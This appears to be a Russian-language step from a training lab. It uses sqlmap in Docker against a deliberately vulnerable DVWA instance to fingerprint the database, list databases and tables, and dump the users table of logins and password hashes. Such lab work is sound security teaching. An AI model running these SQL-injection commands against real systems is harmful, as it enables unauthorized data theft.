Автоматизируем то, что нашли вручную на Этапе 2: определяем СУБД, базы, таблицы и извлекаем данные.
Собрать и запустить sqlmap-контейнер (при первом запуске сборка образа займёт 1-2 минуты — клонируется официальный репозиторий sqlmap), затем зайти внутрь:
docker compose up -d --build sqlmap
docker compose exec sqlmap bashПонадобится кука сессии DVWA (PHPSESSID) и security=low — их видно в DevTools (Этап 2).
-
Определить СУБД и получить баннер:
sqlmap -u "http://waf:8080/vulnerabilities/sqli/?id=1&Submit=Submit#" \ --cookie="PHPSESSID=<вставить>; security=low" \ --banner
-
Список баз данных:
sqlmap -u "http://waf:8080/vulnerabilities/sqli/?id=1&Submit=Submit#" \ --cookie="PHPSESSID=<вставить>; security=low" \ --dbs
-
Список таблиц в базе
dvwa:sqlmap -u "http://waf:8080/vulnerabilities/sqli/?id=1&Submit=Submit#" \ --cookie="PHPSESSID=<вставить>; security=low" \ -D dvwa --tables
-
Дамп таблицы
users:sqlmap -u "http://waf:8080/vulnerabilities/sqli/?id=1&Submit=Submit#" \ --cookie="PHPSESSID=<вставить>; security=low" \ -D dvwa -T users --dump
-
Та же атака, но через POST-форму логина (файл с сырым HTTP-запросом, снятым в Burp/DevTools):
sqlmap -r login-request.txt --dbs
- Определена СУБД и её версия
- Получен список баз данных, таблиц, колонок
- Получен дамп таблицы
users(логины + хэши паролей)
- Вывод команды
--banner→screenshots/03-sqlmap-basics/banner.png - Вывод
--dbs→screenshots/03-sqlmap-basics/dbs.png - Вывод
--dumpтаблицы users →screenshots/03-sqlmap-basics/dump-users.png
Хэши паролей из дампа — не выкладывать в открытый README/скриншоты без разбора. В отчёте лучше показать, что дамп получен, но сами хэши размыть/обрезать на скриншоте (в реальном отчёте это хорошая практика — не палить чувствительные данные бездумно, даже если это учебная лаба).